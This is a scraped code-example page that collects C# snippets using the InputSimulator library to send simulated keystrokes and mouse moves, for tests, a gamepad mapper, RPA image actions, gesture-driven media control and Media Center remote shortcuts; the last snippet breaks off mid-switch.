コード例 #1
0
        public void SayHello()
        {
            var sim = new InputSimulator();
            sim.Keyboard
               .ModifiedKeyStroke(VirtualKeyCode.LWIN, VirtualKeyCode.VK_R)
               .Sleep(1000)
               .TextEntry("notepad")
               .Sleep(1000)
               .KeyPress(VirtualKeyCode.RETURN)
               .Sleep(1000)
               .TextEntry("These are your orders if you choose to accept them...")
               .TextEntry("This message will self destruct in 5 seconds.")
               .Sleep(5000)
               .ModifiedKeyStroke(VirtualKeyCode.MENU, VirtualKeyCode.SPACE)
               .KeyPress(VirtualKeyCode.DOWN)
               .KeyPress(VirtualKeyCode.RETURN);
            
            var i = 10;
            while (i-- > 0)
            {
                sim.Keyboard.KeyPress(VirtualKeyCode.DOWN).Sleep(100);
            }

            sim.Keyboard
               .KeyPress(VirtualKeyCode.RETURN)
               .Sleep(1000)
               .ModifiedKeyStroke(VirtualKeyCode.MENU, VirtualKeyCode.F4)
               .KeyPress(VirtualKeyCode.VK_N);
        }
コード例 #2
0
 public void TestMouseMoveTo()
 {
     var sim = new InputSimulator();
     sim.Mouse
        .MoveMouseTo(0, 0)
        .Sleep(1000)
        .MoveMouseTo(65535, 65535)
        .Sleep(1000)
        .MoveMouseTo(65535/2, 65535/2);
 }
コード例 #3
0
        public void AnotherTest()
        {
            var sim = new InputSimulator();
            sim.Keyboard.KeyPress(VirtualKeyCode.SPACE);

            sim.Keyboard.ModifiedKeyStroke(VirtualKeyCode.LWIN, VirtualKeyCode.VK_R)
               .Sleep(1000)
               .TextEntry("mspaint")
               .Sleep(1000)
               .KeyPress(VirtualKeyCode.RETURN)
               .Sleep(1000)
               .Mouse
               .LeftButtonDown()
               .MoveMouseToPositionOnVirtualDesktop(65535/2, 65535/2)
               .LeftButtonUp();
        }
コード例 #4
0
        public void TestUnicodeRanges(UnicodeRange range)
        {
            // ReSharper disable AccessToDisposedClosure
            using (var form = new UnicodeTestForm
                                  {
                                      Expected = range.Characters
                                  })
            {
                var ready = false;
                var formTask = Task.Factory.StartNew(
                    () =>
                        {
                            form.Shown += (x, y) => ready = true;
                            form.ShowDialog();
                        }, TaskCreationOptions.LongRunning);

                var simTask = Task.Factory.StartNew(
                    () =>
                        {
                            while (!ready)
                            {
                                Thread.Sleep(250);
                            }
                            var sim = new InputSimulator();
                            sim.Keyboard.TextEntry(range.Characters);
                            while (form.Recieved != form.Expected)
                            {
                                Thread.Sleep(500);
                            }
                            form.Close();
                        }, TaskCreationOptions.LongRunning);

                Task.WaitAll(new[] {formTask, simTask}, TimeSpan.FromSeconds(60));
                Assert.That(form.Recieved, Is.EqualTo(form.Expected));
            }
            // ReSharper restore AccessToDisposedClosure
        }
コード例 #5
0
ファイル: PWMover.cs プロジェクト: robinuniverse/PWMover
        static void Main(string[] args)
        {
            var            wpfwindow = new WpfApplication.MainWindow();
            InputSimulator sim       = new InputSimulator();

            ElementHost.EnableModelessKeyboardInterop(wpfwindow);
            wpfwindow.Show();

            while (true)
            {
                XInputController controller = new XInputController();

                controller.Update();

                var CLY = controller.leftThumb.Y;
                var CLX = controller.leftThumb.X;
                var CRY = controller.rightThumb.Y;
                var CRX = controller.rightThumb.X;
                var CRT = controller.rightTrigger;
                var CLT = controller.leftTrigger;

                int LY = Convert.ToInt32(CLY);
                int LX = Convert.ToInt32(CLX);
                int RY = Convert.ToInt32(CRY);
                int RX = Convert.ToInt32(CRX);
                int LT = Convert.ToInt32(CLT);
                int RT = Convert.ToInt32(CRT);

                Wait(1);
                int TimeUnit = 100;

                int YP = (int)Math.Round((double)(100 * LY) / TimeUnit);
                wpfwindow.LYPlus.Value  = YP;
                wpfwindow.LYMinus.Value = YP * -1;

                int XP = (int)Math.Round((double)(100 * LX) / TimeUnit);
                wpfwindow.LXPlus.Value  = XP;
                wpfwindow.LXMinus.Value = XP * -1;

                int RYP = (int)Math.Round((double)(100 * RY) / TimeUnit);
                wpfwindow.RYPlus.Value  = RYP;
                wpfwindow.RYMinus.Value = RYP * -1;

                int RXP = (int)Math.Round((double)(100 * RX) / TimeUnit);
                wpfwindow.RXPlus.Value  = RXP;
                wpfwindow.RXMinus.Value = RXP * -1;

                int RTP = (int)Math.Round((double)(39 * RT) / TimeUnit);
                wpfwindow.RTProg.Value = RTP;

                int LTP = (int)Math.Round((double)(39 * LT) / TimeUnit);
                wpfwindow.LTProg.Value = LTP;

                wpfwindow.DZLP.Value = wpfwindow.DZL.Value;
                wpfwindow.DZRP.Value = wpfwindow.DZR.Value;

                wpfwindow.LBP.Value = wpfwindow.LBPS.Value;
                wpfwindow.RBP.Value = wpfwindow.RBPS.Value;

                wpfwindow.TBP.Value  = wpfwindow.TBS.Value;
                wpfwindow.TDZP.Value = wpfwindow.DZT.Value;

                if (wpfwindow.LUP_Button.IsPressed)
                {
                }

                if (wpfwindow.TrigDisable.IsChecked == false)
                {
                    //Trigger Loop

                    if (RTP > (100 + (-wpfwindow.TBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.RCONTROL);
                    }
                    ;

                    if (LTP > (100 + (-wpfwindow.TBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.RCONTROL);
                    }
                    ;

                    if (RTP > wpfwindow.TDZP.Value)
                    {
                        Debug.WriteLine(RTP);
                        sim.Keyboard.KeyDown(VirtualKeyCode.VK_R);
                        Wait(RTP);
                        sim.Keyboard.KeyUp(VirtualKeyCode.VK_R);
                        Wait(TimeUnit - RTP);
                    }

                    if (LTP > wpfwindow.TDZP.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.VK_L);
                        Wait(LTP);
                        sim.Keyboard.KeyUp(VirtualKeyCode.VK_L);
                        Wait(TimeUnit - LTP);
                    }

                    sim.Keyboard.KeyUp(VirtualKeyCode.RCONTROL);
                }

                if (wpfwindow.LeftDisable.IsChecked == false)
                {
                    // Left Thumbstick Loop

                    if (YP > (100 + (-wpfwindow.LBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.SHIFT);
                    }
                    ;
                    if (-YP > (100 + (-wpfwindow.LBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.SHIFT);
                    }
                    ;
                    if (XP > (100 + (-wpfwindow.LBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.SHIFT);
                    }
                    ;
                    if (-XP > (100 + (-wpfwindow.LBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.SHIFT);
                    }
                    ;

                    if (YP > wpfwindow.DZL.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.VK_W);
                        Wait(YP);
                        sim.Keyboard.KeyUp(VirtualKeyCode.VK_W);
                        Wait(TimeUnit - YP);
                    }
                    if (YP < -wpfwindow.DZL.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.VK_S);
                        Wait(YP * -1);
                        sim.Keyboard.KeyUp(VirtualKeyCode.VK_S);
                        Wait(TimeUnit - (YP * -1));
                    }

                    if (XP > wpfwindow.DZL.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.VK_D);
                        Wait(XP);
                        sim.Keyboard.KeyUp(VirtualKeyCode.VK_D);
                        Wait(TimeUnit - XP);
                    }
                    if (XP < -wpfwindow.DZL.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.VK_A);
                        Wait(XP * -1);
                        sim.Keyboard.KeyUp(VirtualKeyCode.VK_A);
                        Wait(TimeUnit - XP * -1);
                    }

                    sim.Keyboard.KeyUp(VirtualKeyCode.SHIFT);
                }

                if (wpfwindow.RightDisable.IsChecked == false)
                {
                    // Right Thumbstick Loop

                    if (RYP > (100 + (-wpfwindow.RBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.CONTROL);
                    }
                    ;
                    if (-RYP > (100 + (-wpfwindow.RBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.CONTROL);
                    }
                    ;
                    if (RXP > (100 + (-wpfwindow.RBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.CONTROL);
                    }
                    ;
                    if (-RXP > (100 + (-wpfwindow.RBP.Value)))
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.CONTROL);
                    }
                    ;

                    if (RXP > wpfwindow.DZR.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.UP);
                        Wait(RXP);
                        sim.Keyboard.KeyUp(VirtualKeyCode.UP);
                        Wait(TimeUnit - RXP);
                    }
                    if (RXP < -wpfwindow.DZR.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.DOWN);
                        Wait(RXP * -1);
                        sim.Keyboard.KeyUp(VirtualKeyCode.DOWN);
                        Wait(TimeUnit - (RXP * -1));
                    }

                    if (RYP > wpfwindow.DZR.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.RIGHT);
                        Wait(RYP);
                        sim.Keyboard.KeyUp(VirtualKeyCode.RIGHT);
                        Wait(TimeUnit - RYP);
                    }
                    if (RYP < -wpfwindow.DZR.Value)
                    {
                        sim.Keyboard.KeyDown(VirtualKeyCode.LEFT);
                        Wait(RYP * -1);
                        sim.Keyboard.KeyUp(VirtualKeyCode.LEFT);
                        Wait(TimeUnit - RYP * -1);
                    }

                    sim.Keyboard.KeyUp(VirtualKeyCode.CONTROL);
                }

                if (wpfwindow.IsLoaded == false)
                {
                    break;
                }
            }
            ;
            void Wait(int ms)
            {
                DateTime start = DateTime.Now;

                while ((DateTime.Now - start).TotalMilliseconds < ms)
                {
                    System.Windows.Forms.Application.DoEvents();
                }
            }
        }
コード例 #6
0
        public IEnumerator player_dash_to_the_player_facing_direction()
        {
            // ~~~~~~~~~~
            // Load
            LoadTestScene();
            yield return(new WaitWhile(() => sceneLoaded == false));

            // ~~~~~~~~~~

            // Prepare
            var        playerAsset = AssetDatabase.LoadAssetAtPath <GameObject>("Assets/Prefabs/Characters/PlayerFSM.prefab");
            GameObject player      = GameObject.Instantiate(playerAsset, new Vector3(0, 0, 0), Quaternion.identity);

            PlayerFSM playerScript = player.GetComponent <PlayerFSM>();

            playerScript.ignoreCheckpoints = true;
            playerScript.mechanics.SaveState();
            playerScript.mechanics.ResetMechanics();
            playerScript.mechanics.Activate("Dash");
            playerScript.mechanics.Activate("Walk");

            yield return(new WaitForSeconds(1f));

            // Act
            Assert.IsTrue(playerScript.isGrounded);
            Assert.IsFalse(player.GetComponent <Rigidbody2D>().velocity.x > 0);
            InputSimulator IS = new InputSimulator();

            IS.Keyboard.KeyPress(WindowsInput.Native.VirtualKeyCode.VK_D);

            float dashDuration = playerScript.config.startDashDurationTime;

            yield return(new WaitForSeconds(dashDuration / 2));

            Assert.IsTrue(playerScript.lookingDirection == 1);
            Assert.IsTrue(player.GetComponent <Rigidbody2D>().velocity.x > 0);

            yield return(new WaitForSeconds(dashDuration * 1.5f));

            Assert.IsFalse(player.GetComponent <Rigidbody2D>().velocity.x > 0);

            IS.Keyboard.KeyDown(WindowsInput.Native.VirtualKeyCode.LEFT);

            yield return(new WaitForSeconds(0.5f));

            IS.Keyboard.KeyUp(WindowsInput.Native.VirtualKeyCode.LEFT);

            yield return(null);

            IS.Keyboard.KeyPress(WindowsInput.Native.VirtualKeyCode.VK_D);

            yield return(new WaitForSeconds(dashDuration / 2));

            Assert.IsTrue(playerScript.lookingDirection == -1);
            Assert.IsTrue(player.GetComponent <Rigidbody2D>().velocity.x < 0);

            yield return(new WaitForSeconds(dashDuration));

            Assert.IsFalse(player.GetComponent <Rigidbody2D>().velocity.x < 0);
            playerScript.mechanics.RestoreState();
        }
コード例 #7
0
        public async void PerformImageElementAction(IAutomationEngineInstance engine, ImageElement element)
        {
            try
            {
                string clickPosition;
                string xAdjustString;
                string yAdjustString;
                int    xAdjust;
                int    yAdjust;
                switch (v_ImageAction)
                {
                case "Click Image":
                    string clickType = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                        where rw.Field <string>("Parameter Name") == "Click Type"
                                        select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    clickPosition = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Click Position"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "X Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjust = (int)await xAdjustString.EvaluateCode(engine);

                    yAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Y Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    yAdjust = (int)await yAdjustString.EvaluateCode(engine);

                    Point clickPositionPoint = GetClickPosition(clickPosition, element);

                    //move mouse to position
                    var mouseX = clickPositionPoint.X + xAdjust;
                    var mouseY = clickPositionPoint.Y + yAdjust;
                    User32Functions.SendMouseMove(mouseX, mouseY, clickType);
                    break;

                case "Hover Over Image":
                    string hoverPosition = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                            where rw.Field <string>("Parameter Name") == "Hover Position"
                                            select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    string hoverTime = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                        where rw.Field <string>("Parameter Name") == "Hover Time (Seconds)"
                                        select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "X Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjust = (int)await xAdjustString.EvaluateCode(engine);

                    yAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Y Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    yAdjust = (int)await yAdjustString.EvaluateCode(engine);

                    int evaluatedHoverTime = (int)await hoverTime.EvaluateCode(engine) * 1000;

                    Point hoverPositionPoint = GetClickPosition(hoverPosition, element);

                    //move mouse to position
                    var hoverX = hoverPositionPoint.X + xAdjust;
                    var hoverY = hoverPositionPoint.Y + yAdjust;
                    User32Functions.SendMouseMove(hoverX, hoverY, "");
                    Thread.Sleep(evaluatedHoverTime);
                    break;

                case "Set Text":
                    string textToSet = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                        where rw.Field <string>("Parameter Name") == "Text To Set"
                                        select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    textToSet = (string)await textToSet.EvaluateCode(engine);

                    clickPosition = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Click Position"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "X Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjust = (int)await xAdjustString.EvaluateCode(engine);

                    yAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Y Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    yAdjust = (int)await yAdjustString.EvaluateCode(engine);

                    Point setTextPositionPoint = GetClickPosition(clickPosition, element);

                    //move mouse to position and set text
                    var xPos = setTextPositionPoint.X + xAdjust;
                    var yPos = setTextPositionPoint.Y + yAdjust;
                    User32Functions.SendMouseMove(xPos, yPos, "Left Click");
                    Thread.Sleep(250);

                    var simulator = new InputSimulator();
                    simulator.Keyboard.TextEntry(textToSet);
                    Thread.Sleep(100);
                    break;

                case "Set Secure Text":
                    var secureString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                        where rw.Field <string>("Parameter Name") == "Secure String Variable"
                                        select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    clickPosition = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Click Position"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "X Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    xAdjust = (int)await xAdjustString.EvaluateCode(engine);

                    yAdjustString = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                     where rw.Field <string>("Parameter Name") == "Y Adjustment"
                                     select rw.Field <string>("Parameter Value")).FirstOrDefault();
                    yAdjust = (int)await yAdjustString.EvaluateCode(engine);

                    var secureStrVariable = (SecureString)await secureString.EvaluateCode(engine);

                    secureString = secureStrVariable.ConvertSecureStringToString();

                    Point setSecureTextPositionPoint = GetClickPosition(clickPosition, element);

                    //move mouse to position and set text
                    var xPosition = setSecureTextPositionPoint.X + xAdjust;
                    var yPosition = setSecureTextPositionPoint.Y + yAdjust;
                    User32Functions.SendMouseMove(xPosition, yPosition, "Left Click");
                    Thread.Sleep(250);

                    var simulator2 = new InputSimulator();
                    simulator2.Keyboard.TextEntry(secureString);
                    Thread.Sleep(100);
                    break;

                case "Image Exists":
                    var outputVariable = (from rw in v_ImageActionParameterTable.AsEnumerable()
                                          where rw.Field <string>("Parameter Name") == "Output Bool Variable Name"
                                          select rw.Field <string>("Parameter Value")).FirstOrDefault();

                    if (element != null)
                    {
                        true.SetVariableValue(engine, outputVariable);
                    }
                    else
                    {
                        false.SetVariableValue(engine, outputVariable);
                    }
                    break;

                default:
                    break;
                }
                FormsHelper.ShowAllForms(engine.EngineContext.IsDebugMode);
            }
            catch (Exception ex)
            {
                FormsHelper.ShowAllForms(engine.EngineContext.IsDebugMode);
                throw ex;
            }
        }
コード例 #8
0
    // Update is called once per frame
    void Update()
    {
        if (!OnOff)
        {
            try{
                stream.ReadLine();
            }
            catch (System.Exception) {
            }
        }

        else
        {
            if (TrainTest.isOn)
            {
                String ptread = stream.ReadLine();

                dtw_update_number    = 0;
                perform.interactable = true;
                remove.interactable  = true;
                dd.interactable      = true;

                if (performToggle)
                {
                    update_number++;
                    print(update_number);
                    if (update_number == -29)
                    {
                        trainText.text = "You have 2s to start.";
                    }

                    if (update_number == -15)
                    {
                        trainText.text = "You have 1s to start.";
                    }

                    if (update_number == -1)
                    {
                        trainText.text = "Perform!";
                    }

                    string[] vec3 = ptread.Split(',');

                    double yaw   = System.Convert.ToDouble(vec3[0]);
                    double pitch = System.Convert.ToDouble(vec3[1]);
                    double roll  = System.Convert.ToDouble(vec3[2]);

                    double[] in2 = { yaw, pitch, roll };

                    for (int i = 0; i < 3; i++)
                    {
                        input[i] = in2[i] - in1[i];
                    }

                    in1[0] = yaw;
                    in1[1] = pitch;
                    in1[2] = roll;
                    image.transform.Rotate(new Vector3((float)input[0], (float)input[1], (float)input[2]));

                    if (update_number > 0 && update_number < windowSize + 1)
                    {
                        temp[0][update_number - 1] = input[0];
                        temp[1][update_number - 1] = input[1];
                        temp[2][update_number - 1] = input[2];
                    }

                    if (update_number == windowSize)
                    {
                        double[][] temp2 = new double[3][];
                        temp2[0] = new double[windowSize];
                        temp2[1] = new double[windowSize];
                        temp2[2] = new double[windowSize];

                        for (int a = 0; a < 3; a++)
                        {
                            for (int b = 0; b < windowSize; b++)
                            {
                                temp2[a][b] = temp[a][b];
                            }
                        }
                        temp = null;
                        gestures.Add(temp2);
                        print(gestures.Count);

                        gestureNames.Add(crg);
                        crg                  = "";
                        performToggle        = false;
                        trainedGestures.text = ToString(gestureNames);
                        trainText.text       = "Done.";
                    }
                }
            }

            else
            {
                String ptread = stream.ReadLine();

                perform.interactable = false;
                remove.interactable  = false;
                dtw_update_number++;
                if (dtw_update_number > 0 && dtw_update_number < 15)
                {
                    trainText.text = "Prepare to control!";
                }
                else
                {
                    trainText.text = "Go for it!";

                    string[] vec3 = ptread.Split(',');

                    double yaw   = System.Convert.ToDouble(vec3[0]);
                    double pitch = System.Convert.ToDouble(vec3[1]);
                    double roll  = System.Convert.ToDouble(vec3[2]);

                    double[] in2 = { yaw, pitch, roll };

                    for (int i = 0; i < 3; i++)
                    {
                        input[i] = in2[i] - in1[i];
                    }

                    in1[0] = yaw;
                    in1[1] = pitch;
                    in1[2] = roll;


                    shift_and_fill(buffer, input);
                    image.transform.Rotate(new Vector3((float)input[0], (float)input[1], (float)input[2]));


                    if (dtw_update_number == 30)
                    {
                        dtw_update_number = 0;

                        double[,] dtw_costs = new double[gestures.Count, 3];
                        double[] gestureCosts = new double[gestures.Count];
                        int      gesture      = 20;

                        double min = double.PositiveInfinity;

                        for (int i = 0; i < gestures.Count; i++)
                        {
                            double[][] currentGesture = (double[][])gestures[i];

                            for (int j = 0; j < 3; j++)
                            {
                                DTWO(buffer[j], currentGesture[j]);

                                dtw_costs[i, j] = computeDTW();

                                gestureCosts[i] += dtw_costs[i, j];
                                Math.Round(gestureCosts[i], 2);
                            }

                            if (gestureCosts[i] < min)
                            {
                                min     = gestureCosts[i];
                                gesture = i;
                            }
                        }

                        String performedGesture = (String)gestureNames[gesture];
                        testtext.text = performedGesture;
                        switch (performedGesture)
                        {
                        case "Idle":

                            break;

                        case "Previous":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.LEFT); break;

                        case "Next":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.RIGHT); break;

                        case "PlayPause":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.MEDIA_PLAY_PAUSE);
                            break;

                        case "Previous Track":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.MEDIA_PREV_TRACK); break;

                        case "Next Track":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.MEDIA_NEXT_TRACK);
                            break;

                        case "Volume Up":

                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                            break;

                        case "Volume Down":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                            break;

                        case "Mute":
                            InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_MUTE); break;

                        default: break;
                        }
                    }
                }
            }
        }
    }
コード例 #9
0
        private static void SendKeyDown(VirtualKeyCode virtualKeyCode)
        {
            var inputSimulator = new InputSimulator();

            inputSimulator.Keyboard.KeyPress(virtualKeyCode);
        }
コード例 #10
0
ファイル: Program.cs プロジェクト: DangouHaim/GDriveTransfer
 public SiteSaver()
 {
     _service = new InputSimulator();
 }
コード例 #11
0
 public WindowsDictation()
 {
     inputSimulator = SharedObjectsSingleton.Instance().inputSimulator;
 }
コード例 #12
0
        static void SendMediaCenterCommand(MCCommands cmd)
        {
            switch (cmd)
            {
            case MCCommands.Play:     // Ctrl Shift P
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_P);
                break;

            case MCCommands.Pause:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_P);
                break;

            case MCCommands.Stop:
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_S);
                break;

            case MCCommands.Ffw:
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_F);
                break;

            case MCCommands.Rew:
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_B);
                break;

            case MCCommands.SkipFwd:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_F);
                break;

            case MCCommands.SkipBack:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_B);
                break;

            case MCCommands.Record:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_R);
                break;

            case MCCommands.NavUp:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.UP);
                break;

            case MCCommands.NavDown:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.DOWN);
                break;

            case MCCommands.NavLeft:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.LEFT);
                break;

            case MCCommands.NavRight:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.RIGHT);
                break;

            case MCCommands.NavBack:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.BACK);
                break;

            case MCCommands.Menu:
                InputSimulator.SimulateKeyDown(VirtualKeyCode.LWIN);
                InputSimulator.SimulateKeyDown(VirtualKeyCode.MENU);
                InputSimulator.SimulateKeyPress(VirtualKeyCode.RETURN);
                InputSimulator.SimulateKeyUp(VirtualKeyCode.MENU);
                InputSimulator.SimulateKeyUp(VirtualKeyCode.LWIN);
                break;

            case MCCommands.Info:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_D);
                break;

            case MCCommands.DVDMenu:
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_M);
                break;

            case MCCommands.DVDAudio:
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_A);
                break;

            case MCCommands.OK:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.RETURN);
                break;

            case MCCommands.Clear:

                break;

            case MCCommands.Enter:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.RETURN);
                break;

            case MCCommands.VolUp:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_UP);
                break;

            case MCCommands.VolDown:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_DOWN);
                break;

            case MCCommands.VolMute:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VOLUME_MUTE);
                break;

            case MCCommands.ChanUp:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.PRIOR);
                break;

            case MCCommands.ChanDown:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.NEXT);
                break;

            case MCCommands.Num0:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_0);
                break;

            case MCCommands.Num1:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_1);
                break;

            case MCCommands.Num2:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_2);
                break;

            case MCCommands.Num3:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_3);
                break;

            case MCCommands.Num4:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_4);
                break;

            case MCCommands.Num5:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_5);
                break;

            case MCCommands.Num6:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_6);
                break;

            case MCCommands.Num7:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_7);
                break;

            case MCCommands.Num8:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_8);
                break;

            case MCCommands.Num9:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.VK_9);
                break;

            case MCCommands.NumHash:
                InputSimulator.SimulateTextEntry("#");
                break;

            case MCCommands.NumStar:
                InputSimulator.SimulateKeyPress(VirtualKeyCode.MULTIPLY);
                break;

            case MCCommands.Text:

                break;

            case MCCommands.TextRed:

                break;

            case MCCommands.TextGreen:

                break;

            case MCCommands.TextYellow:

                break;

            case MCCommands.TextBlue:

                break;

            case MCCommands.Subtitles:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_U);
                break;

            case MCCommands.GotoLiveTV:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_T);
                break;

            case MCCommands.GotoGuide:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_G);
                break;

            case MCCommands.GotoRecTV:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_O);
                break;

            case MCCommands.GotoPictures:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_I);
                break;

            case MCCommands.GotoVideos:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_E);
                break;

            case MCCommands.GotoMusic:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_M);
                break;

            case MCCommands.GotoMovies:
                InputSimulator.SimulateModifiedKeyStroke(new [] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_M);
                break;

            case MCCommands.GotoRadio:
                InputSimulator.SimulateModifiedKeyStroke(VirtualKeyCode.CONTROL, VirtualKeyCode.VK_A);
                break;


            case MCCommands.GotoExtras:
                InputSimulator.SimulateModifiedKeyStroke(new[] { VirtualKeyCode.CONTROL, VirtualKeyCode.SHIFT }, VirtualKeyCode.VK_R);
                break;

